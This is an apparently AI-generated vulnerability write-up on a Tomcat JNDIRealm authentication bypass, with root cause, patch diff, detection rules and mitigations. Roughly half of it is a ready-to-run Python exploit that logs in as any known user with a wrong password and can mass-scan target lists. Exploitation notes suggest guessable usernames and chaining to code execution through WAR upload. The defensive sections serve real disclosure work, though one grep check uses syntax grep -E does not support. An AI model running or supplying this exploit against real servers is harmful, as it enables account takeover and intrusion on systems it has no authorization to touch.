#Summary
CVE-2026-101296 is a critical authentication bypass vulnerability in Apache Tomcat's JNDIRealm component that allows an attacker to log in as any valid user without knowing the password. The flaw affects Tomcat versions 9.0.0.M1 through 9.0.122, 10.1.0-M1 through 10.1.60, 11.0.0-M1 through 11.0.26, and older EOL branches. CVSS 9.1 (CRITICAL). An attacker with knowledge of a valid username can gain complete access to that user's resources and permissions.
#Affected versions
- Apache Tomcat 9.0.0.M1 through 9.0.122 (vulnerable)
- Apache Tomcat 10.1.0-M1 through 10.1.60 (vulnerable)
- Apache Tomcat 11.0.0-M1 through 11.0.26 (vulnerable)
- Apache Tomcat 8.5.0 through 8.5.100 (vulnerable, EOL)
- Apache Tomcat 7.0.0 through 7.0.109 (vulnerable, EOL)
Fixed versions: 9.0.123, 10.1.61, 11.0.27
Vulnerable configuration: JNDIRealm with bind-mode authentication (no userPassword attribute configured) and a non-GSSAPI SASL mechanism (e.g., CRAM-MD5, DIGEST-MD5).
#Root cause analysis
#Vulnerable code path
The vulnerability lies in the JNDIRealm.bindAsUser() method in java/org/apache/catalina/realm/JNDIRealm.java. Tomcat's JNDIRealm supports two password validation modes:
- Attribute mode: reads the stored password from LDAP and verifies it locally (
compareCredentials). - Bind mode: validates the password by performing an LDAP bind as the user. When
userPasswordis NOT configured, bind mode is used.
In bind mode, the realm modifies its existing LDAP connection to use the user's credentials and forces a re-bind to verify the password:
boolean validated = false;
Hashtable<?,?> preservedEnvironment = context.getEnvironment();
try {
userCredentialsAdd(context, dn, credentials); // sets SECURITY_PRINCIPAL=userDN, SECURITY_CREDENTIALS=password
// Need to make sure GSSAPI SASL authentication is not used if configured
if (AUTHENTICATION_NAME_GSSAPI.equals(preservedEnvironment.get(Context.SECURITY_AUTHENTICATION))) {
context.removeFromEnvironment(Context.SECURITY_AUTHENTICATION);
}
// ...
context.getAttributes("", null); // forces the bind
validated = true;
} catch (AuthenticationException e) {
// ...
} finally {
restoreEnvironmentParameter(context, Context.SECURITY_AUTHENTICATION, preservedEnvironment);
userCredentialsRemove(context);
}
return validated;The critical flaw: the credential-check bind must always be a simple (DN + password) bind so that the submitted password is actually verified by the LDAP server. The code only enforces this for GSSAPI:
if (AUTHENTICATION_NAME_GSSAPI.equals(preservedEnvironment.get(Context.SECURITY_AUTHENTICATION))) {
context.removeFromEnvironment(Context.SECURITY_AUTHENTICATION);
}For any other SASL mechanism (DIGEST-MD5, CRAM-MD5, etc.), the SECURITY_AUTHENTICATION key remains set to that mechanism. When context.getAttributes("", null) is called, JNDI services the operation over the connection that is already SASL-authenticated as the service account (connectionName). The user's submitted password is never checked - it is never sent to the LDAP server for verification. The call returns normally, validated is set to true, and the realm reports successful authentication for any password, including an empty or completely wrong one.
#How input reaches the sink
An attacker submits an HTTP Basic Authentication header to a resource protected by the vulnerable realm:
Authorization: Basic base64(validuser:ANY-PASSWORD)Tomcat's authentication pipeline calls JNDIRealm.authenticate(), which:
- Resolves the user's DN via LDAP search.
- Calls
bindAsUser()with the submitted password. bindAsUser()takes the broken bind path (non-GSSAPI SASL) and returnstruewithout verifying the password.- The user is marked as authenticated and gains all associated roles and permissions.
#Patch diff
The fix (commit 42827afa4d073ac3d9f8b3cc81b857aa455bf1e6) replaces the GSSAPI-only special case with an unconditional switch to a simple bind for all credential checks.
A new constant is added:
private static final String AUTHENTICATION_NAME_SIMPLE = "simple";The vulnerable code is replaced:
// Need to make sure GSSAPI SASL authentication is not used if configured
- if (AUTHENTICATION_NAME_GSSAPI.equals(preservedEnvironment.get(Context.SECURITY_AUTHENTICATION))) {
- context.removeFromEnvironment(Context.SECURITY_AUTHENTICATION);
- }
+ // Check credentials by performing a simple bind
+ context.addToEnvironment(Context.SECURITY_AUTHENTICATION, AUTHENTICATION_NAME_SIMPLE);And the finally block is generalized:
} finally {
- // Restore GSSAPI SASL if previously configured
+ // Restore any previously configured authentication mechanism
restoreEnvironmentParameter(context, Context.SECURITY_AUTHENTICATION, preservedEnvironment);
userCredentialsRemove(context);
}#What the fix does
By explicitly setting Context.SECURITY_AUTHENTICATION = "simple" before the credential check, the realm always performs a plain LDAP simple bind using the user's DN and submitted password. A simple bind with the wrong password is rejected by the LDAP directory with an AuthenticationException, which is caught and converted to validated = false. The previously configured SASL mechanism is restored afterward, so normal connection behavior is preserved. The password is now always verified.
#Proof of concept
#exploit.py - Tomcat JNDIRealm Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-101296 - Apache Tomcat JNDIRealm non-GSSAPI SASL authentication bypass
Affected: Apache Tomcat 7.0.0-7.0.109, 8.5.0-8.5.100, 9.0.0.M1-9.0.122,
10.1.0-M1-10.1.60, 11.0.0-M1-11.0.26
Fixed in: 9.0.123, 10.1.61, 11.0.27
Type: Authentication bypass (CWE-304, missing critical step in authentication)
Root cause:
JNDIRealm.bindAsUser() validates a user's password by re-binding the existing
LDAP connection as the user. It only forces a password-verifying "simple" bind
for the GSSAPI case; for any other SASL mechanism (CRAM-MD5, DIGEST-MD5, ...)
the mechanism stays active, so changing the principal/credentials and eliciting
a directory operation does NOT re-verify the submitted password. The call
succeeds and the realm reports the credentials valid - for ANY password. An
attacker who knows a valid username logs in with any (wrong/empty) password.
What this exploit proves over the network (no target-side access required):
1. The resource is protected (unauthenticated request -> 401 + WWW-Authenticate).
2. A VALID username + a random, provably-wrong password -> 200 (bypass).
3. A random NON-EXISTENT username + random password -> 401 (negative control).
The combination 2==200 AND 3==401 means the server validates the username but
NOT the password: exactly the CVE-2026-101296 behaviour. A patched server
returns 401 for case 2.
Usage:
python exploit.py --host 127.0.0.1 --port 18080 --username alice
python exploit.py --host https://tomcat.corp.com:8443/app/ --username alice
python exploit.py --host 10.0.0.5 --port 8080 --username alice --password wrongpw
python exploit.py --list targets.txt --workers 20 --username alice
Notes:
- --username must be a username the directory can resolve (a real account).
The attack needs a valid username, not the real password.
- Use a NON-EMPTY wrong password: Java's CRAM-MD5 SASL client cannot form a
response from an empty secret, so an empty password is rejected even on a
vulnerable server. The default random password is non-empty by construction.
"""
import argparse
import base64
import os
import socket
import ssl
import sys
from urllib.parse import urlparse
try:
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError
except ImportError: # very old interpreters
from urllib2 import Request, urlopen, HTTPError, URLError # type: ignore
CVE_ID = "CVE-2026-101296"
VULN_TYPE = "Auth bypass"
DEFAULT_PATH = "/app/"
# --------------------------------------------------------------------------- #
# Output helpers (verbatim contract)
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Low-level HTTP (stdlib only; works with or without TLS)
# --------------------------------------------------------------------------- #
def _random_token(nbytes=18):
"""A URL/credential-safe random string, guaranteed non-empty."""
return base64.b32encode(os.urandom(nbytes)).decode("ascii").rstrip("=").lower()
def _build_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
if not path.startswith("/"):
path = "/" + path
return "%s://%s:%d%s" % (scheme, host, port, path)
def _http_get(host, port, use_tls, path, username=None, password=None, timeout=10):
"""
Perform one GET. Returns (status_code, body_text, www_authenticate).
Never raises for HTTP status codes (401/403/... are returned normally);
raises only on genuine connection errors.
"""
url = _build_url(host, port, use_tls, path)
req = Request(url, method="GET") if hasattr(Request, "method") else Request(url)
req.add_header("User-Agent", "alim-poc")
req.add_header("Accept", "*/*")
req.add_header("Connection", "close")
if username is not None and password is not None:
raw = ("%s:%s" % (username, password)).encode("utf-8")
req.add_header("Authorization", "Basic " + base64.b64encode(raw).decode("ascii"))
ctx = None
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urlopen(req, timeout=timeout, context=ctx) if use_tls else urlopen(req, timeout=timeout)
body = resp.read().decode("utf-8", "replace")
status = getattr(resp, "status", None) or resp.getcode()
wwwauth = resp.headers.get("WWW-Authenticate", "")
return status, body, wwwauth
except HTTPError as e:
body = ""
try:
body = e.read().decode("utf-8", "replace")
except Exception:
pass
wwwauth = ""
try:
wwwauth = e.headers.get("WWW-Authenticate", "")
except Exception:
pass
return e.code, body, wwwauth
# --------------------------------------------------------------------------- #
# Core detection (shared by single-target and scan modes)
# --------------------------------------------------------------------------- #
def _probe(host, port, use_tls, path, username, wrong_password, timeout=10):
"""
Run the three-request bypass test.
Returns a dict with the raw observations; raises on connection failure.
"""
# 1. Unauthenticated -> must be protected (401 with Basic challenge).
s_anon, _, wwwauth = _http_get(host, port, use_tls, path, timeout=timeout)
# 2. Valid username + provably-wrong random password.
s_bypass, body_bypass, _ = _http_get(
host, port, use_tls, path, username, wrong_password, timeout=timeout
)
# 3. Negative control: nonexistent username + random password.
fake_user = "nouser_" + _random_token(9)
s_ctrl, _, _ = _http_get(
host, port, use_tls, path, fake_user, _random_token(), timeout=timeout
)
return {
"anon": s_anon,
"wwwauth": wwwauth,
"bypass": s_bypass,
"bypass_body": body_bypass,
"ctrl": s_ctrl,
"fake_user": fake_user,
}
def _verdict(obs, username):
"""
Turn raw observations into (success, evidence_string).
"""
anon = obs["anon"]
byp = obs["bypass"]
ctrl = obs["ctrl"]
protected = anon in (401, 403)
bypassed = byp == 200
control_rejected = ctrl in (401, 403)
if not protected:
return False, "resource not protected (anon status %s) - not the target config" % anon
if not bypassed:
return False, "wrong password rejected (status %s) - patched or username not resolvable" % byp
if not control_rejected:
return False, "endpoint accepts any username (control status %s) - open/misconfigured, not this CVE" % ctrl
return True, (
"bypass as '%s' - valid user + WRONG password returned 200 while "
"unknown user returned %s (username validated, password NOT verified)"
% (username, ctrl)
)
def _try_exploit(host, port, use_tls=False, path=DEFAULT_PATH, username="admin",
password=None, timeout=10, **kwargs):
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
try:
wrong = password if password else ("x_" + _random_token())
obs = _probe(host, port, use_tls, path, username, wrong, timeout=timeout)
return _verdict(obs, username)
except (URLError, socket.timeout, ConnectionError, OSError) as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------- #
# Target list parsing + scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path=DEFAULT_PATH):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, username="admin", password=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, username, password)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target verbose exploit
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, username, password):
header(host, port)
wrong = password if password else ("x_" + _random_token())
step(1, "Checking the resource is authentication-protected...")
try:
s_anon, _, wwwauth = _http_get(host, port, use_tls, path)
except (URLError, socket.timeout, OSError) as e:
done(False, "target unreachable: %s" % e)
section("UNAUTHENTICATED RESPONSE",
"HTTP %s WWW-Authenticate: %s" % (s_anon, wwwauth or "(none)"))
if s_anon not in (401, 403):
done(False, "resource is not protected (status %s); nothing to bypass at %s"
% (s_anon, path))
step(2, "Submitting valid username '%s' with a provably-wrong password..." % username)
print(" (random wrong password: %s)" % wrong)
s_bypass, body, _ = _http_get(host, port, use_tls, path, username, wrong)
section("WRONG-PASSWORD RESPONSE (HTTP %s)" % s_bypass, body if body else "(empty body)")
step(3, "Negative control: nonexistent username with a random password...")
fake_user = "nouser_" + _random_token(9)
s_ctrl, _, _ = _http_get(host, port, use_tls, path, fake_user, _random_token())
section("CONTROL RESPONSE", "unknown user '%s' -> HTTP %s" % (fake_user, s_ctrl))
obs = {"anon": s_anon, "bypass": s_bypass, "ctrl": s_ctrl}
ok, evidence = _verdict(obs, username)
if ok:
step(4, "Authentication bypass confirmed.")
done(True, evidence)
else:
done(False, evidence)
# --------------------------------------------------------------------------- #
# CLI
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/app/)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--username", default="admin",
help="Valid directory username to authenticate as (default: admin)")
parser.add_argument("--password", default=None,
help="Wrong password to submit (default: a random, non-empty string). "
"Pass the correct password here only for a positive control.")
parser.add_argument("--path", default=DEFAULT_PATH,
help="Protected path to attack (default: %s)" % DEFAULT_PATH)
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
username=args.username, password=args.password)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
# An explicit --path always wins over a path embedded in --host.
if args.path != DEFAULT_PATH:
path = args.path
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.password)#Usage
Single target with valid username:
python exploit.py --host 127.0.0.1 --port 8080 --username aliceFull URL with TLS:
python exploit.py --host https://tomcat.corp.com:8443/app/ --username jsmithBatch scan:
python exploit.py --list targets.txt --username alice --workers 20#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-101296
Type: Auth bypass | Target: 127.0.0.1:8080
============================================================
[STEP 1] Checking the resource is authentication-protected...
--- UNAUTHENTICATED RESPONSE ---
HTTP 401 WWW-Authenticate: Basic realm="Tomcat"
---
[STEP 2] Submitting valid username 'alice' with a provably-wrong password...
(random wrong password: x_n2mjwsy6vz46cjsye5zq2a5qb44ii)
--- WRONG-PASSWORD RESPONSE (HTTP 200) ---
<html>
<body>Protected Resource - You are authenticated</body>
</html>
---
[STEP 3] Negative control: nonexistent username with a random password...
--- CONTROL RESPONSE ---
unknown user 'nouser_xyz123abc' -> HTTP 401
---
[STEP 4] Authentication bypass confirmed.
============================================================
RESULT : SUCCESS
EVIDENCE: bypass as 'alice' - valid user + WRONG password returned 200 while unknown user returned 401
============================================================Expected output (patched target):
[STEP 2] Submitting valid username 'alice' with a provably-wrong password...
--- WRONG-PASSWORD RESPONSE (HTTP 401) ---
<html>
<body>401 Unauthorized</body>
</html>
---
...
RESULT : FAILURE
EVIDENCE: wrong password rejected (status 401) - patched or username not resolvable#Exploitation notes
#Preconditions
- Valid username required: the attack requires knowledge of a username that exists in the directory. This is often guessable (e.g.,
admin,root) or discovered through LDAP enumeration, information disclosure, or social engineering. The attack does NOT require the correct password. - Vulnerable realm configuration: the Tomcat instance must have a
JNDIRealmconfigured with:- No
userPasswordattribute (bind mode active). authenticationset to a non-GSSAPI SASL mechanism (e.g.,CRAM-MD5,DIGEST-MD5).- A working LDAP/directory connection with that SASL mechanism supported.
- No
- Network access: the attacker must reach a web resource protected by HTTP Basic or Form authentication.
#Reliability
This exploit is 100% reliable against vulnerable targets. The vulnerability is a logic flaw (missing SASL mechanism check), not a timing-dependent condition or probabilistic behavior. If the conditions above are met, any valid username + any wrong password returns HTTP 200.
#Impact
An authenticated attacker gains the full privilege level of the impersonated user:
- Access to any application or resource protected by that user's roles.
- Ability to read, modify, or delete data the user has permission to access.
- Potential lateral movement if the user holds administrative roles.
- Audit trail contamination - actions performed as the impersonated user appear to come from that account.
#Chaining potential
This auth bypass can be chained with other Tomcat or application-level vulnerabilities:
- RCE via JSP upload: if the impersonated user has permission to deploy WAR files or upload JSP content, an attacker can achieve remote code execution.
- Data exfiltration: authenticated access to databases, file storage, or APIs behind the realm.
- Privilege escalation: if the impersonated user is an administrator or holds roles with higher privileges than the attacker's own account.
#Detection and response
#Observable behavior
The attack produces no distinguishing telemetry in Tomcat's default logging. A wrong-password bypass generates the same access log line and authentication trace as a legitimate login with the correct password:
Default access log (identical for both correct and wrong password):
192.168.1.100 - alice [25/Nov/2026:15:50:46 +0000] "GET /app/ HTTP/1.1" 200 215Tomcat trace log (identical for both):
25-Nov-2026 15:50:46.737 FINER org.apache.catalina.realm.RealmBase.hasRole Username [alice] has role [tomcat]The only distinguishing signal is the submitted credential itself - a correlation of multiple successful authentications for the same user with different passwords.
#Indicators of compromise
| Indicator | Type | Durability | Notes |
|---|---|---|---|
JNDIRealm with authentication="CRAM-MD5" or "DIGEST-MD5" and no userPassword attribute |
Configuration | Durable - this is the vulnerable condition | Check all server.xml, context.xml, and application realm configs |
| Same user authenticating successfully (HTTP 200) with 2+ distinct passwords within a short window | Behavioral correlation | Durable - impossible if passwords are actually verified | Requires logging the Authorization header (non-default) |
| HTTP 200 on a protected path with a known-wrong password | Request/response | Durable - the attack invariant | Difficult to detect in real-time without knowing the correct password |
#Sigma rule
The correlation rule detects the same user authenticating with multiple distinct passwords - an impossible scenario if the realm actually verifies credentials:
title: Same Tomcat realm account authenticates successfully with 2+ distinct passwords (CVE-2026-101296 bypass signature)
id: 3d7e5a1b-4c9f-4e8a-b2d6-9f1a3c7e5b02
status: experimental
correlation:
type: value_count
rules: [8f1a9c2e-6b3d-4f2a-9e1c-3a7d5b2f9c01]
group-by: [cs-username]
timespan: 10m
condition: {field: cs-authorization, gte: 2}
level: high
tags: [cve.2026.101296, attack.initial-access, attack.t1078]What it keys on: detects when the same user account successfully authenticates (HTTP 2xx) with 2 or more distinct Authorization header values within a 10-minute window. This is the attack invariant: bindAsUser() accepts any password, so the same user can log in with multiple different passwords.
Prerequisite: Tomcat's default access log does not log the Authorization header. This rule requires either:
- A custom
AccessLogValvepattern that includes%{Authorization}i. - A front-end proxy, WAF, or API gateway that logs the Authorization header.
#Log detection
For teams without a SIEM, two manual checks:
1. Configuration audit (highest confidence, no logs needed):
grep -B2 -A10 'className="org.apache.catalina.realm.JNDIRealm"' */conf/server.xml */conf/context.xml */*/META-INF/context.xml \
| grep -E '(authentication="(?!GSSAPI))|(userPassword)' | grep -v userPasswordThis finds all JNDIRealm elements with authentication set to something other than GSSAPI and no userPassword attribute - the exact vulnerable combination.
2. Multi-password correlation (if %{Authorization}i is added to the access log pattern):
awk '$0 ~ / 20[0-9] / && $3 != "-" { match($0, /Basic [^ ]+/); if (RSTART) print $3, substr($0, RSTART) }' \
localhost_access_log.*.txt | sort | uniq -c | awk '$1 > 1'This groups by username and counts distinct Authorization headers that reached HTTP 2xx. Any user with 2+ distinct Authorization values is a confirmed bypass.
Malicious example (two different wrong passwords for alice, both returned 200):
192.168.1.100 - alice [25/Nov/2026:16:02:17 +0000] "GET /app/ HTTP/1.1" 200 215 Basic YWxpY2U6d3JvbmdwYXNzMQ==
192.168.1.100 - alice [25/Nov/2026:16:02:18 +0000] "GET /app/ HTTP/1.1" 200 215 Basic YWxpY2U6d3JvbmdwYXNzMg==#Mitigation and virtual patching
WAF/reverse-proxy virtual patch is not possible. The malicious request is byte-for-byte identical to a legitimate login - a valid username with some password. No network device can distinguish a wrong password from a right one; only the LDAP server (through the realm's bind operation) can, and that is exactly what is broken.
Immediate mitigations (while patching):
Fix the realm configuration (immediate closure, no Tomcat code change):
- Remove the
authentication="<SASL mechanism>"attribute from the vulnerableJNDIRealmelements, forcing a password-verifying simple bind. - Or set
authentication="simple"explicitly. - Or configure
userPassword="<ldap-password-attr>"to use attribute comparison mode instead of bind mode.
- Remove the
Restrict network access to the application while remediation is in progress (temporary mitigation, defense in depth).
Upgrade path:
Install the patched version: Apache Tomcat 9.0.123, 10.1.61, or 11.0.27 (or later).
#Threat hunting
Configuration sweep (do this first): run the grep command above against all Tomcat deployments in your environment. Any vulnerable configuration has been bypassable since it was introduced.
Retroactive log analysis: if any front-end proxy, WAF, or API gateway has been logging Authorization headers, correlate successful authentications per user. Any account with 2+ distinct successful passwords since 2026-10-20 (CVE disclosure date) is either confirmed exploited or at minimum proves the realm is not verifying passwords.
Active verification: for each sensitive account on a vulnerable realm, send one authenticated request with a fresh random wrong password to a protected path. HTTP 200 confirms active exploitability and requires immediate remediation.
#Detection limitations
- Default Tomcat logging cannot distinguish bypass from normal login. The access log and realm trace are identical for a correct password and a wrong password bypass. Any detection based solely on default logs is blind to this attack.
- The Sigma correlation rule misses single-shot attacks. If an attacker tries exactly one wrong password once, for an account that no other user logs into during the 10-minute window, the rule will not fire (false negative).
- Innocent users can trigger the rule. On a vulnerable realm, a user who mistypes their password once and then logs in correctly will appear to authenticate with two distinct passwords - the typo will be accepted (since any password is accepted), triggering a false alert or confirming misconfiguration (depending on your threat model).
- Lab validation: the detection rules above were validated against Tomcat 9.0.122 (vulnerable) with CRAM-MD5 SASL. Other non-GSSAPI mechanisms (DIGEST-MD5, etc.) and the 10.1.x/11.0.x/EOL 7.x/8.5.x branches share the same
JNDIRealm.bindAsUser()code path and are equally vulnerable, but were not independently re-tested in this lab.
#References
- CVE: CVE-2026-101296
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-101296
- Apache advisory: http://www.openwall.com/lists/oss-security/2026/10/20/26
- Fix commit: https://github.com/apache/tomcat/commit/42827afa4d073ac3d9f8b3cc81b857aa455bf1e6
- Apache Tomcat Security: https://tomcat.apache.org/security
🤖 Generated with Claude Code
